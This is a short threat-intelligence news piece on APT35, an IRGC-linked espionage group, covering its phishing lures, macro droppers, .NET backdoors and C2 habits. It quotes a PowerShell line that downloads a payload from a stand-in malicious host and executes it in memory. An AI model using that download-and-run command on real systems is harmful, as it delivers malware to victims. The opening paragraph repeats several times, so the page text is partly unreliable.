IRGC-Linked APT35 Structure, Tools, and Espionage Operations Disclosed
IRGC-linked APT35 has been identified as a significant threat actor since the mid-2010s, targeting government entities, energy firms, and diplomatic missions predominantly in the Middle East. The group has evolved from credential harvesting through…
IRGC-linked APT35 has been identified as a significant threat actor since the mid-2010s, targeting government entities, energy firms, and diplomatic missions predominantly in the Middle East. The group has evolved from credential harvesting through phishing campaigns to deploying a modular toolkit for network infiltration and long-term espionage.
The group's operations typically begin with spear-phishing messages exploiting Office macro vulnerabilities, which enable the deployment of backdoors. APT35 utilizes a combination of custom and publicly available tools, allowing researchers to identify distinct code fingerprints despite the adversary's transition between different payloads.
Cloudsek analysts have identified a shift in APT35's methodology, notably the use of .NET-based implants and in-memory execution techniques, increasing the complexity of forensic analysis by reducing disk artifacts. This finding has led to the development of tailored detection rules for network defenders.
The group's operations have resulted in significant data exfiltration from compromised networks, including diplomatic communications and intellectual property theft. APT35 employs operational security measures such as randomized command-and-control beaconing intervals and encrypted communication channels over HTTP/HTTPS, which enables them to avoid traditional signature-based defenses.
IRGC-linked APT35 has been identified as a significant threat actor since the mid-2010s, targeting government entities, energy firms, and diplomatic missions predominantly in the Middle East.
APT35's primary infection method involves weaponized Word documents containing obfuscated VBA macros designed to load a staged downloader into memory. Upon document opening, the macro executes a PowerShell command masquerading as a Windows Update process:
$u = "http://malicious[.]domain/payload.bin" $r = Invoke-WebRequest -Uri $u -UseBasicParsing $e = [System.Text.Encoding]::UTF8.GetString($r.Content) Invoke-Expression $e
This downloader decrypts the next-stage payload using an AES key embedded in the VBA code. The decrypted payload, typically a .NET-compiled backdoor known as PhosphorusLoader , registers as a COM object for persistence. It uses process hollowing to inject into svchost.exe while intermittently communicating with a hidden C2 domain.
APT35 also conducts extensive open-source intelligence (OSINT) gathering to craft convincing lures and leverage geopolitical events and professional contacts within targeted organizations. This approach, combined with advanced malware, highlights the group's adaptability and resource investment.
Based on reporting by Cyber Security News.
